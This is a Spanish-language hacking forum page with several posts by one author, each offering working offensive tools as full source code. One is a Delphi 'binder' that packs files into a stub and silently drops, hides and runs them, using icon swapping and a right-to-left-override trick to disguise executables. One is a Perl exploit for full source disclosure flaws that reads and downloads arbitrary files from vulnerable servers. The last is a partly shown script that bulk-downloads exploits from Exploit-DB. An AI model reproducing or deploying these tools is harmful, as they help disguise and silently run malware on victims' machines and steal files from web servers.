elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


 


Tema destacado:


  Mostrar Mensajes
Páginas: [1] 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ... 48
1  Programación / Programación General / [Delphi] DH Binder 1.0 en: 27 Febrero 2015, 16:40
Nueva version de este simple binder que hice en Delphi con las siguientes opciones :

  • Junta todos los archivos que quieran con opcion de cargar normal , oculto o solo extraer
  • Se puede seleccionar donde se extraen los archivos
  • Se puede cargar los archivos de forma oculta o normal
  • Se puede ocultar los archivos
  • Se puede elegir el icono del ejecutable generado
  • El builder incluye un File Pumper,Icon Changer y Extension Spoofer

Una imagen :



Los codigos :

El generador.

Código
  1. // DH Binder 1.0
  2. // (C) Doddy Hackman 2015
  3. // Credits :
  4. // Joiner Based in : "Ex Binder v0.1" by TM
  5. // Icon Changer based in : "IconChanger" By Chokstyle
  6. // Thanks to TM & Chokstyle
  7.  
  8. unit binder;
  9.  
  10. interface
  11.  
  12. uses
  13.  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  14.  System.Classes, Vcl.Graphics,
  15.  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ComCtrls, Vcl.StdCtrls,
  16.  Vcl.ExtCtrls, ShellApi, Vcl.ImgList, Vcl.Menus, Vcl.Imaging.pngimage, madRes,
  17.  StrUtils;
  18.  
  19. type
  20.  TForm1 = class(TForm)
  21.    PageControl1: TPageControl;
  22.    TabSheet1: TTabSheet;
  23.    TabSheet2: TTabSheet;
  24.    TabSheet3: TTabSheet;
  25.    PageControl2: TPageControl;
  26.    TabSheet4: TTabSheet;
  27.    TabSheet5: TTabSheet;
  28.    GroupBox1: TGroupBox;
  29.    PageControl3: TPageControl;
  30.    TabSheet6: TTabSheet;
  31.    TabSheet7: TTabSheet;
  32.    TabSheet8: TTabSheet;
  33.    files: TListView;
  34.    StatusBar1: TStatusBar;
  35.    GroupBox2: TGroupBox;
  36.    archivo_nuevo: TEdit;
  37.    Button1: TButton;
  38.    GroupBox3: TGroupBox;
  39.    execute: TComboBox;
  40.    abrir: TOpenDialog;
  41.    GroupBox4: TGroupBox;
  42.    Button2: TButton;
  43.    GroupBox5: TGroupBox;
  44.    extraction: TComboBox;
  45.    GroupBox6: TGroupBox;
  46.    opcion_ocultar: TCheckBox;
  47.    check_filepumper: TCheckBox;
  48.    GroupBox7: TGroupBox;
  49.    GroupBox8: TGroupBox;
  50.    pumper_count: TEdit;
  51.    UpDown1: TUpDown;
  52.    pumper_type: TComboBox;
  53.    check_extension_changer: TCheckBox;
  54.    GroupBox9: TGroupBox;
  55.    check_extension: TCheckBox;
  56.    extensiones: TComboBox;
  57.    GroupBox10: TGroupBox;
  58.    check_this_extension: TCheckBox;
  59.    extension: TEdit;
  60.    GroupBox11: TGroupBox;
  61.    ruta_icono: TEdit;
  62.    Button3: TButton;
  63.    GroupBox12: TGroupBox;
  64.    use_icon_changer: TCheckBox;
  65.    preview: TImage;
  66.    imagenes: TImageList;
  67.    menu: TPopupMenu;
  68.    C1: TMenuItem;
  69.    Image2: TImage;
  70.    GroupBox13: TGroupBox;
  71.    Button4: TButton;
  72.    TabSheet9: TTabSheet;
  73.    GroupBox14: TGroupBox;
  74.    Image3: TImage;
  75.    Label1: TLabel;
  76.    D1: TMenuItem;
  77.    abrir_icono: TOpenDialog;
  78.    procedure Button1Click(Sender: TObject);
  79.    procedure Button3Click(Sender: TObject);
  80.    procedure Button2Click(Sender: TObject);
  81.    procedure C1Click(Sender: TObject);
  82.    procedure Button4Click(Sender: TObject);
  83.    procedure FormCreate(Sender: TObject);
  84.    procedure D1Click(Sender: TObject);
  85.  
  86.  private
  87.    { Private declarations }
  88.  public
  89.    { Public declarations }
  90.  end;
  91.  
  92. var
  93.  Form1: TForm1;
  94.  
  95. implementation
  96.  
  97. {$R *.dfm}
  98. // Functions
  99.  
  100. procedure file_pumper(archivo: string; cantidad: LongWord);
  101. var
  102.  arraycantidad: array of Byte;
  103.  abriendo: TFileStream;
  104. begin
  105.  abriendo := TFileStream.Create(archivo, fmOpenReadWrite);
  106.  SetLength(arraycantidad, cantidad);
  107.  ZeroMemory(@arraycantidad[1], cantidad);
  108.  abriendo.Seek(0, soFromEnd);
  109.  abriendo.Write(arraycantidad[0], High(arraycantidad));
  110.  abriendo.Free;
  111. end;
  112.  
  113. procedure extension_changer(archivo: string; extension: string);
  114. var
  115.  nombre: string;
  116. begin
  117.  nombre := ExtractFileName(archivo);
  118.  nombre := StringReplace(nombre, ExtractFileExt(nombre), '',
  119.    [rfReplaceAll, rfIgnoreCase]);
  120.  nombre := nombre + char(8238) + ReverseString('.' + extension) + '.exe';
  121.  MoveFile(PChar(archivo), PChar(ExtractFilePath(archivo) + nombre));
  122. end;
  123.  
  124. function dhencode(texto, opcion: string): string;
  125. // Thanks to Taqyon
  126. // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
  127. var
  128.  num: integer;
  129.  aca: string;
  130.  cantidad: integer;
  131.  
  132. begin
  133.  
  134.  num := 0;
  135.  Result := '';
  136.  aca := '';
  137.  cantidad := 0;
  138.  
  139.  if (opcion = 'encode') then
  140.  begin
  141.    cantidad := length(texto);
  142.    for num := 1 to cantidad do
  143.    begin
  144.      aca := IntToHex(ord(texto[num]), 2);
  145.      Result := Result + aca;
  146.    end;
  147.  end;
  148.  
  149.  if (opcion = 'decode') then
  150.  begin
  151.    cantidad := length(texto);
  152.    for num := 1 to cantidad div 2 do
  153.    begin
  154.      aca := char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
  155.      Result := Result + aca;
  156.    end;
  157.  end;
  158.  
  159. end;
  160.  
  161. //
  162.  
  163. procedure TForm1.Button1Click(Sender: TObject);
  164. begin
  165.  if (abrir.execute) then
  166.  begin
  167.    archivo_nuevo.Text := abrir.FileName;
  168.  end;
  169. end;
  170.  
  171. procedure TForm1.Button2Click(Sender: TObject);
  172. var
  173.  icono: TIcon;
  174.  listate: TListItem;
  175.  getdata: SHFILEINFO;
  176. begin
  177.  
  178.  if (FileExists(archivo_nuevo.Text)) then
  179.  begin
  180.    icono := TIcon.Create;
  181.    files.Items.BeginUpdate;
  182.  
  183.    with files do
  184.    begin
  185.  
  186.      listate := files.Items.Add;
  187.  
  188.      listate.Caption := ExtractFileName(archivo_nuevo.Text);
  189.      listate.SubItems.Add(archivo_nuevo.Text);
  190.      listate.SubItems.Add(ExtractFileExt(archivo_nuevo.Text));
  191.      listate.SubItems.Add(execute.Text);
  192.  
  193.      SHGetFileInfo(PChar(archivo_nuevo.Text), 0, getdata, SizeOf(getdata),
  194.        SHGFI_ICON or SHGFI_SMALLICON);
  195.      icono.Handle := getdata.hIcon;
  196.      listate.ImageIndex := imagenes.AddIcon(icono);
  197.  
  198.      DestroyIcon(getdata.hIcon);
  199.  
  200.    end;
  201.  
  202.    files.Items.EndUpdate;
  203.  
  204.    archivo_nuevo.Text := '';
  205.  
  206.    StatusBar1.Panels[0].Text := '[+] File Added';
  207.    Form1.StatusBar1.Update;
  208.  end
  209.  else
  210.  begin
  211.    StatusBar1.Panels[0].Text := '[-] File not exists';
  212.    Form1.StatusBar1.Update;
  213.  end;
  214.  
  215. end;
  216.  
  217. procedure TForm1.Button3Click(Sender: TObject);
  218. begin
  219.  if (abrir_icono.execute) then
  220.  begin
  221.    ruta_icono.Text := abrir_icono.FileName;
  222.    preview.Picture.LoadFromFile(abrir_icono.FileName);
  223.  end;
  224. end;
  225.  
  226. procedure TForm1.Button4Click(Sender: TObject);
  227. var
  228.  i: integer;
  229.  nombre: string;
  230.  ruta: string;
  231.  tipo: string;
  232.  savein: string;
  233.  opcionocultar: string;
  234.  lineafinal: string;
  235.  uno: DWORD;
  236.  tam: DWORD;
  237.  dos: DWORD;
  238.  tres: DWORD;
  239.  todo: Pointer;
  240.  change: DWORD;
  241.  valor: string;
  242.  stubgenerado: string;
  243.  ruta_archivo: string;
  244.  tipocantidadz: string;
  245.  extensionacambiar: string;
  246.  
  247. begin
  248.  
  249.  StatusBar1.Panels[0].Text := '[+] Working ...';
  250.  Form1.StatusBar1.Update;
  251.  
  252.  if (files.Items.Count = 0) or (files.Items.Count = 1) then
  253.  begin
  254.    ShowMessage('You have to choose two or more files');
  255.  end
  256.  else
  257.  begin
  258.    stubgenerado := 'done.exe';
  259.  
  260.    if (opcion_ocultar.Checked = True) then
  261.    begin
  262.      opcionocultar := '1';
  263.    end
  264.    else
  265.    begin
  266.      opcionocultar := '0';
  267.    end;
  268.  
  269.    if (extraction.Items[extraction.ItemIndex] = '') then
  270.    begin
  271.      savein := 'USERPROFILE';
  272.    end
  273.    else
  274.    begin
  275.      savein := extraction.Items[extraction.ItemIndex];
  276.    end;
  277.  
  278.    DeleteFile(stubgenerado);
  279.    CopyFile(PChar(ExtractFilePath(Application.ExeName) + '/' +
  280.      'Data/stub.exe'), PChar(ExtractFilePath(Application.ExeName) + '/' +
  281.      stubgenerado), True);
  282.  
  283.    ruta_archivo := ExtractFilePath(Application.ExeName) + '/' + stubgenerado;
  284.  
  285.    uno := BeginUpdateResource(PChar(ruta_archivo), True);
  286.  
  287.    for i := 0 to files.Items.Count - 1 do
  288.    begin
  289.  
  290.      nombre := files.Items[i].Caption;
  291.      ruta := files.Items[i].SubItems[0];
  292.      tipo := files.Items[i].SubItems[2];
  293.  
  294.      lineafinal := '[nombre]' + nombre + '[nombre][tipo]' + tipo +
  295.        '[tipo][dir]' + savein + '[dir][hide]' + opcionocultar + '[hide]';
  296.      lineafinal := '[63686175]' + dhencode(UpperCase(lineafinal), 'encode') +
  297.        '[63686175]';
  298.  
  299.      dos := CreateFile(PChar(ruta), GENERIC_READ, FILE_SHARE_READ, nil,
  300.        OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  301.      tam := GetFileSize(dos, nil);
  302.      GetMem(todo, tam);
  303.      ReadFile(dos, todo^, tam, tres, nil);
  304.      CloseHandle(dos);
  305.      UpdateResource(uno, RT_RCDATA, PChar(lineafinal),
  306.        MAKEWord(LANG_NEUTRAL, SUBLANG_NEUTRAL), todo, tam);
  307.  
  308.    end;
  309.  
  310.    EndUpdateResource(uno, False);
  311.  
  312.  end;
  313.  
  314.  //
  315.  
  316.  if (check_filepumper.Checked) then
  317.  begin
  318.    tipocantidadz := pumper_type.Items[pumper_type.ItemIndex];
  319.    if (tipocantidadz = 'Byte') then
  320.    begin
  321.      file_pumper(ruta_archivo, StrToInt(pumper_count.Text) * 8);
  322.    end;
  323.    if (tipocantidadz = 'KiloByte') then
  324.    begin
  325.      file_pumper(ruta_archivo, StrToInt(pumper_count.Text) * 1024);
  326.    end;
  327.    if (tipocantidadz = 'MegaByte') then
  328.    begin
  329.      file_pumper(ruta_archivo, StrToInt(pumper_count.Text) * 1048576);
  330.    end;
  331.    if (tipocantidadz = 'GigaByte') then
  332.    begin
  333.      file_pumper(ruta_archivo, StrToInt(pumper_count.Text) * 1073741824);
  334.    end;
  335.    if (tipocantidadz = 'TeraByte') then
  336.    begin
  337.      file_pumper(ruta_archivo, StrToInt(pumper_count.Text) * 1099511627776);
  338.    end;
  339.  end;
  340.  
  341.  if (use_icon_changer.Checked) then
  342.  begin
  343.    try
  344.      begin
  345.        change := BeginUpdateResourceW
  346.          (PWideChar(wideString(ruta_archivo)), False);
  347.        LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
  348.          PWideChar(wideString(ruta_icono.Text)));
  349.        EndUpdateResourceW(change, False);
  350.      end;
  351.    except
  352.      begin
  353.        //
  354.      end;
  355.    end;
  356.  end;
  357.  
  358.  if (check_extension_changer.Checked) then
  359.  begin
  360.    if not(check_extension.Checked and check_this_extension.Checked) then
  361.    begin
  362.      if (check_extension.Checked) then
  363.      begin
  364.        extensionacambiar := extensiones.Items[extensiones.ItemIndex];
  365.        extension_changer(ruta_archivo, extensionacambiar);
  366.      end;
  367.      if (check_this_extension.Checked) then
  368.      begin
  369.        extension_changer(ruta_archivo, extension.Text);
  370.      end;
  371.    end;
  372.  end;
  373.  
  374.  StatusBar1.Panels[0].Text := '[+] Done';
  375.  Form1.StatusBar1.Update;
  376.  
  377. end;
  378.  
  379. procedure TForm1.C1Click(Sender: TObject);
  380. begin
  381.  files.Clear;
  382.  imagenes.Clear;
  383. end;
  384.  
  385. procedure TForm1.D1Click(Sender: TObject);
  386. begin
  387.  files.DeleteSelected;
  388. end;
  389.  
  390. procedure TForm1.FormCreate(Sender: TObject);
  391. begin
  392.  abrir.InitialDir := GetCurrentDir;
  393.  abrir_icono.InitialDir := GetCurrentDir;
  394.  abrir_icono.Filter := 'ICO|*.ico|';
  395. end;
  396.  
  397. end.
  398.  
  399. // The End ?
  400.  

El Stub.

Código
  1. // DH Binder 1.0
  2. // (C) Doddy Hackman 2015
  3. // Credits :
  4. // Joiner Based in : "Ex Binder v0.1" by TM
  5. // Icon Changer based in : "IconChanger" By Chokstyle
  6. // Thanks to TM & Chokstyle
  7.  
  8. program stub;
  9.  
  10. uses
  11.  System.SysUtils, ShellApi, Windows;
  12.  
  13. function regex(text: String; deaca: String; hastaaca: String): String;
  14. begin
  15.  Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
  16.  SetLength(text, AnsiPos(hastaaca, text) - 1);
  17.  Result := text;
  18. end;
  19.  
  20. function dhencode(texto, opcion: string): string;
  21. // Thanks to Taqyon
  22. // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
  23. var
  24.  num: integer;
  25.  aca: string;
  26.  cantidad: integer;
  27.  
  28. begin
  29.  
  30.  num := 0;
  31.  Result := '';
  32.  aca := '';
  33.  cantidad := 0;
  34.  
  35.  if (opcion = 'encode') then
  36.  begin
  37.    cantidad := Length(texto);
  38.    for num := 1 to cantidad do
  39.    begin
  40.      aca := IntToHex(ord(texto[num]), 2);
  41.      Result := Result + aca;
  42.    end;
  43.  end;
  44.  
  45.  if (opcion = 'decode') then
  46.  begin
  47.    cantidad := Length(texto);
  48.    for num := 1 to cantidad div 2 do
  49.    begin
  50.      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
  51.      Result := Result + aca;
  52.    end;
  53.  end;
  54.  
  55. end;
  56.  
  57. procedure cargar_archivo(archivo: TFileName; tipo: string);
  58. var
  59.  data: SHELLEXECUTEINFO;
  60. begin
  61.  if (FileExists(archivo)) then
  62.  begin
  63.    ZeroMemory(@data, SizeOf(SHELLEXECUTEINFO));
  64.    data.cbSize := SizeOf(SHELLEXECUTEINFO);
  65.    data.fMask := SEE_MASK_NOCLOSEPROCESS;
  66.    data.Wnd := 0;
  67.    data.lpVerb := 'open';
  68.    data.lpFile := PChar(archivo);
  69.    if (tipo = 'Show') then
  70.    begin
  71.      data.nShow := SW_SHOWNORMAL;
  72.    end;
  73.    if (tipo = 'Hide') then
  74.    begin
  75.      data.nShow := SW_HIDE;
  76.    end;
  77.    if not ShellExecuteEx(@data) then
  78.      if GetLastError <= 32 then
  79.      begin
  80.        SysErrorMessage(GetLastError);
  81.      end;
  82.  end;
  83. end;
  84.  
  85. //
  86.  
  87. // Start the game
  88.  
  89. function start(tres: THANDLE; cuatro, cinco: PChar; seis: DWORD): BOOL; stdcall;
  90. var
  91.  data: DWORD;
  92.  uno: DWORD;
  93.  dos: DWORD;
  94.  cinco2: string;
  95.  nombre: string;
  96.  tipodecarga: string;
  97.  ruta: string;
  98.  ocultar: string;
  99.  
  100. begin
  101.  
  102.  Result := True;
  103.  
  104.  cinco2 := cinco;
  105.  cinco2 := regex(cinco2, '[63686175]', '[63686175]');
  106.  cinco2 := dhencode(cinco2, 'decode');
  107.  cinco2 := LowerCase(cinco2);
  108.  
  109.  nombre := regex(cinco2, '[nombre]', '[nombre]');
  110.  tipodecarga := regex(cinco2, '[tipo]', '[tipo]');
  111.  ruta := GetEnvironmentVariable(regex(cinco2, '[dir]', '[dir]')) + '/';
  112.  ocultar := regex(cinco2, '[hide]', '[hide]');
  113.  
  114.  if not(tipodecarga = '') then
  115.  begin
  116.    data := FindResource(0, cinco, cuatro);
  117.  
  118.    uno := CreateFile(PChar(ruta + nombre), GENERIC_WRITE, FILE_SHARE_WRITE,
  119.      nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
  120.    WriteFile(uno, LockResource(LoadResource(0, data))^,
  121.      SizeOfResource(0, data), dos, nil);
  122.  
  123.    CloseHandle(uno);
  124.  
  125.    if (ocultar = '1') then
  126.    begin
  127.      SetFileAttributes(PChar(ruta + nombre), FILE_ATTRIBUTE_HIDDEN);
  128.    end;
  129.  
  130.    if (tipodecarga = 'normal') then
  131.    begin
  132.      // Writeln('Abriendo normal');
  133.      cargar_archivo(ruta + nombre, 'Show');
  134.    end;
  135.    if (tipodecarga = 'hide') then
  136.    begin
  137.      // Writeln('Abriendo oculto');
  138.      cargar_archivo(ruta + nombre, 'Hide');
  139.    end;
  140.  end;
  141. end;
  142.  
  143. begin
  144.  
  145.  EnumResourceNames(0, RT_RCDATA, @start, 0);
  146.  
  147. end.
  148.  
  149. // The End ?
  150.  

Un video con ejemplos de uso :



Si quieren bajar el programa lo pueden hacer de aca :

SourceForge.
Github.
2  Programación / Scripting / [Perl] FSD Exploit Manager 0.6 en: 20 Febrero 2015, 17:30
Un simple script en Perl para explotar la vulnerabilidad Full Source Discloure solo ponen el link de la pagina vulnerable con el path y pueden bajar archivos de forma facil con este script.

El codigo :

Código
  1. #!usr/bin/perl
  2. #FSD Exploit Manager 0.6
  3. #(C) Doddy Hackman 2014
  4.  
  5. use Getopt::Long;
  6. use Color::Output;
  7. Color::Output::Init;
  8. use LWP::UserAgent;
  9. use URI::Split qw(uri_split);
  10. use File::Basename;
  11. use Cwd;
  12.  
  13. my $nave = LWP::UserAgent->new();
  14. $nave->agent( $agents[ rand @agents ] );
  15. $nave->timeout(5);
  16.  
  17. installer();
  18.  
  19. GetOptions(
  20.    "scan=s" => \$scan,
  21.    "fpd"    => \$fpd,
  22.    "logs"   => \$logs,
  23.    "open"   => \$open
  24. );
  25.  
  26. head();
  27.  
  28. if ($scan) {
  29.  
  30.    my $page = $scan;
  31.  
  32.    printear("\n[+] Scanning target : ");
  33.    print $page. "\n\n";
  34.  
  35.    my ( $scheme, $auth, $path, $query, $frag ) = uri_split($page);
  36.  
  37.    my $me = basename($path);
  38.  
  39.    $code1 = toma( $page . $me );
  40.    if ( $code1 =~ /header\((.*)Content-Disposition: attachment;/ig ) {
  41.        printear_titulo("[+] Vulnerable\n");
  42.        $code2 = toma( $page . "'" );
  43.        if (   $code2 =~ /No such file or directory in <b>(.*)<\/b> on line/
  44.            or $code2 =~
  45.            /No existe el fichero o el directorio in <b>(.*)<\/b> on line/ )
  46.        {
  47.            my $ruta    = $1;
  48.            my $cambiar = basename($ruta);
  49.            $ruta =~ s/$cambiar//;
  50.  
  51.            my $prompt = "";
  52.  
  53.            if ($fpd) {
  54.                printear("\n[+] Full Path Dislocure Detect : ");
  55.                print $ruta. "\n";
  56.                $prompt = "[" . $ruta . "] > ";
  57.            }
  58.            else {
  59.                $prompt = "[prompt] > ";
  60.            }
  61.  
  62.            unless ( -d $auth ) {
  63.                mkdir( $auth, "0777" );
  64.                chmod 0777, $auth;
  65.            }
  66.            chdir($auth);
  67.  
  68.            printear("\n[+] File Downloader : ");
  69.            print "Ready\n";
  70.  
  71.            while (1) {
  72.                $SIG{INT} = \&adios;
  73.                printear_titulo( "\n" . $prompt );
  74.                chomp( my $comando = <stdin> );
  75.                if ( $comando =~ /!exit/ ) {
  76.                    adios();
  77.                }
  78.                elsif ( $comando =~ /!read_file (.*)/ ) {
  79.                    my $archivo = $1;
  80.                    my $code    = "";
  81.                    my $code    = toma( $page . $archivo );
  82.  
  83.                    printear_logo(
  84. "\n----------------------------------------------------\n"
  85.                    );
  86.                    printear_titulo($code);
  87.                    printear_logo(
  88. "\n----------------------------------------------------\n"
  89.                    );
  90.  
  91.                }
  92.                elsif ( $comando =~ /!download_file (.*)/ ) {
  93.                    my $archivo = $1;
  94.                    my $nombre  = basename($archivo);
  95.                    printear_titulo("\n[+] Downloading file : ");
  96.                    print $nombre. "\n";
  97.                    if ( $nave->mirror( $page . $archivo, $nombre ) ) {
  98.                        printear("\n[+] File Downloaded\n");
  99.                        if ($open) {
  100.                            my $abrir = getcwd() . "/" . $nombre;
  101.                            if ( -f $abrir ) {
  102.                                abrir_archivo($abrir);
  103.                            }
  104.                            if ( !defined($logs) ) {
  105.                                if ( -f $abrir ) {
  106.                                    unlink($abrir);
  107.                                }
  108.                            }
  109.                        }
  110.  
  111.                    }
  112.                    else {
  113.                        printear("\n[-] File not downloaded\n");
  114.                    }
  115.                }
  116.                elsif ( $comando =~ /!help/ ) {
  117.                    printear( "\n[+] Commands : " . "\n\n" );
  118.                    printear("!download_file <file> : Download file\n");
  119.                    printear("!read_file <file> : Read File\n");
  120.                    printear("!help : Show commands\n");
  121.                    printear("!exit : To exit the program\n");
  122.                }
  123.                else {
  124.                    printear("\n[-] Command not found , try using !help\n");
  125.                }
  126.  
  127.            }
  128.  
  129.        }
  130.    }
  131.    else {
  132.        printear_titulo("[-] Not vulnerable\n");
  133.    }
  134. }
  135. else {
  136.    sintax();
  137. }
  138.  
  139. copyright();
  140.  
  141. sub abrir_archivo {
  142.    my $os = $^O;
  143.    if ( $os =~ /Win32/ig ) {
  144.        system(qq(notepad.exe "$_[0]"));
  145.    }
  146.    else {
  147.        system(qq(gedit '$_[0]'));
  148.    }
  149. }
  150.  
  151. sub printear {
  152.    cprint( "\x036" . $_[0] . "\x030" );
  153. }
  154.  
  155. sub printear_logo {
  156.    cprint( "\x037" . $_[0] . "\x030" );
  157. }
  158.  
  159. sub printear_titulo {
  160.    cprint( "\x0310" . $_[0] . "\x030" );
  161. }
  162.  
  163. sub sintax {
  164.    printear("\n[+] Sintax : ");
  165.    print "perl $0 <option> <value>\n";
  166.    printear("\n[+] Options : \n\n");
  167.    print "-scan <page> : FSD Exploit Scanner\n";
  168.    print "-fpd : Check Full Path Discloure\n";
  169.    print "-logs : Enable logs to save files downloaded\n";
  170.    print "-open : Enable open files downloaded\n";
  171.    printear("\n[+] Example : ");
  172.    print "perl fsd.pl -scan http://localhost/download.php?down= -fpd -logs\n";
  173.    copyright();
  174. }
  175.  
  176. sub installer {
  177.    unless ( -d "fsdlogs/" ) {
  178.        mkdir( "fsdlogs/", "777" );
  179.        chmod 0777, "fsdlogs/";
  180.    }
  181.    chdir("fsdlogs");
  182. }
  183.  
  184. sub adios {
  185.    printear_titulo("\n\n[+] Good Bye\n");
  186.    copyright();
  187. }
  188.  
  189. sub head {
  190.    printear_logo("\n-- == FSD Exploit Manager 0.6 == --\n\n");
  191. }
  192.  
  193. sub copyright {
  194.    printear_logo("\n\n-- == (C) Doddy Hackman 2014 == --\n");
  195.    exit(1);
  196. }
  197.  
  198. sub toma {
  199.    return $nave->get( $_[0] )->content;
  200. }
  201.  
  202. #The End ?
  203.  

Un video con ejemplos de uso :



Si quieren bajar el programa lo pueden hacer de aca :

SourceForge.
Github.
3  Programación / Scripting / [Perl] Exploit DB Manager 0.6 en: 13 Febrero 2015, 17:43
Un simple script en Perl para buscar,leer y descargar exploits en ExploitDB.

Tienen opciones para :

  • Buscar y listar exploits
  • Leer exploit con determinado ID
  • Descargar exploit con determinado ID
  • Descargar todos los exploits de determinado nombre

Un video con ejemplos de uso :



El codigo :

Código
  1. #!usr/bin/perl
  2. #Exploit DB Manager 0.6
  3. #(C) Doddy Hackman 2015
  4.  
  5. use LWP::UserAgent;
  6. use Getopt::Long;
  7. use Color::Output;
  8. Color::Output::Init;
  9.  
  10. my @agents = (
  11. 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0',
  12.    'Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14',
  13. 'Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36',
  14. 'Mozilla/5.0 (compatible; MSIE 10.6; Windows NT 6.1; Trident/5.0; InfoPath.2; SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727) 3gpp-gba UNTRUSTED/1.0',
  15. 'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.8pre) Gecko/20070928 Firefox/2.0.0.7 Navigator/9.0RC1',
  16.    'Mozilla/5.0 (Windows; U; MSIE 9.0; WIndows NT 9.0; en-US))',
  17. 'Mozilla/5.0 (Windows NT 6.0; rv:2.0) Gecko/20100101 Firefox/4.0 Opera 12.14',
  18. 'Mozilla/5.0 (Windows; U; Windows NT 6.1; tr-TR) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27'
  19. );
  20.  
  21. my $nave = LWP::UserAgent->new();
  22. $nave->agent( $agents[ rand @agents ] );
  23. $nave->timeout(5);
  24.  
  25. GetOptions(
  26.    "search=s"       => \$search,
  27.    "page=i"         => \$page,
  28.    "read_exploit=s" => \$read_exploit,
  29.    "download=s"     => \$download,
  30.    "file=s"         => \$file,
  31.    "download_all=s" => \$download_all
  32. );
  33.  
  34. my $directorio_down = "downloads";
  35.  
  36. unless ( -d $directorio_down ) {
  37.    mkdir( $directorio_down, "0777" );
  38.    chmod 0777, $directorio_down;
  39. }
  40. chdir($directorio_down);
  41.  
  42. head();
  43. if ( $search ne "" ) {
  44.    if ( $page eq "" ) {
  45.        by_search( $search, "1" );
  46.    }
  47.    else {
  48.        by_search( $search, $page );
  49.    }
  50. }
  51. elsif ( $read_exploit ne "" ) {
  52.    by_read_exploit($read_exploit);
  53. }
  54. elsif ($download) {
  55.  
  56.    if ($file) {
  57.        by_download( $download, $file );
  58.    }
  59.    else {
  60.        by_download( $download, "" );
  61.    }
  62.  
  63. }
  64. elsif ($download_all) {
  65.  
  66.    if ( $page ne "" ) {
  67.        by_download_all( $download_all, $page );
  68.    }
  69.    else {
  70.        by_download_all( $download_all, "1" );
  71.    }
  72.  
  73. }
  74. else {
  75.    sintax();
  76. }
  77. copyright();
  78.  
  79. sub by_download_all {
  80.  
  81.    my $query = $_[0];
  82.    my $page  = $_[1];
  83.  
  84.    printear_titulo("\n[+] Searching  ...\n\n");
  85.  
  86.    my $directorio = $query;
  87.    $directorio =~ s/\.//;
  88.    $directorio =~ s/\=//;
  89.  
  90.    unless ( -d $directorio ) {
  91.        mkdir( $directorio, "0777" );
  92.        chmod 0777, $directorio;
  93.    }
  94.    chdir($directorio);
  95.  
  96.    my $code =
  97.      toma( "http://www.exploit-db.com/search/?action=search&filter_page="
  98.          . $page
  99.          . "&filter_description="
  100.          . $query
  101.          . "&filter_exploit_text=&filter_author=&filter_platform=0&filter_type=0&filter_lang_id=0&filter_port=&filter_osvdb=&filter_cve="
  102.      );
  103.  
  104.    sleep(6);
  105.  
  106.    my %links_to_download;
  107.    my @ids        = "";
  108.    my @nombres    = "";
  109.    my @links      = "";
  110.    my @links_down = "";
  111.  
  112.    while ( $code =~
  113.        /<a href="http:\/\/www.exploit-db.com\/exploits\/(.*?)">(.*?)<\/a>/migs
  114.      )
  115.    {
  116.        my $id   = $1;
  117.        my $name = $2;
  118.        $name =~ s/&lt;//;
  119.        $name =~ s/\<//;
  120.        $name =~ s/(\s)+$//;
  121.  
  122.        my $link      = "http://www.exploit-db.com/exploits/" . $id;
  123.        my $link_down = "http://www.exploit-db.com/download/" . $id;
  124.        push( @nombres,    $name );
  125.        push( @ids,        $id );
  126.        push( @links,      $link );
  127.        push( @links_down, $link_down );
  128.    }
  129.  
  130.    printear("[+] Exploits Found : ");
  131.    print int(@links) - 1 . "\n\n";
  132.  
  133.    for my $num ( 1 .. int(@links) - 1 ) {
  134.        printear("[+] Title : ");
  135.        print $nombres[$num] . "\n";
  136.        printear("[+] Link : ");
  137.        print $links[$num] . "\n";
  138.  
  139.        my $titulo = $nombres[$num];
  140.        $titulo =~ s/=//ig;
  141.        $titulo =~ s/\///ig;
  142.        $titulo = $titulo . ".txt";
  143.        printear("[+] Downloading ID : ");
  144.        print $ids[$num];
  145.        print "\n";
  146.        sleep(6);
  147.  
  148.        if ( $nave->mirror( $links_down[$num], $titulo ) ) {
  149.            printear("[+] Status : ");
  150.            print "OK\n\n";
  151.            chmod 0777, $titulo;
  152.        }
  153.        else {
  154.            printear("[+] Status : ");
  155.            print "FAIL\n\n";
  156.        }
  157.    }
  158.  
  159.    printear_titulo("[+] Finished\n");
  160.  
  161. }
  162.  
  163. sub by_download {
  164.  
  165.    my $id   = $_[0];
  166.    my $file = $_[1];
  167.  
  168.    printear_titulo("\n[+] Downloading exploit ID : ");
  169.    print $id. "\n";
  170.  
  171.    if ( $file ne "" ) {
  172.  
  173.        if (
  174.            $nave->mirror(
  175.                "http://www.exploit-db.com/download/" . $id . "/", $file
  176.            )
  177.          )
  178.        {
  179.            printear( "\n[+] File '" . $file . "' Downloaded !\n" );
  180.            chmod 0777, $file;
  181.        }
  182.        else {
  183.            printear("\n[-] WTF !\n");
  184.        }
  185.  
  186.    }
  187.    else {
  188.        my $code = toma( "http://www.exploit-db.com/exploits/" . $id . "/" );
  189.        if ( $code =~ /<h1 style="(.*?)">(.*?)<\/h1>/ ) {
  190.            my $titulo       = $2;
  191.            my $exploit_name = $titulo;
  192.            $titulo =~ s/\.//;
  193.            $titulo =~ s/\=//;
  194.            $titulo = $titulo . ".txt";
  195.            sleep(6);
  196.            if (
  197.                $nave->mirror(
  198.                    "http://www.exploit-db.com/download/" . $id . "/", $titulo
  199.                )
  200.              )
  201.            {
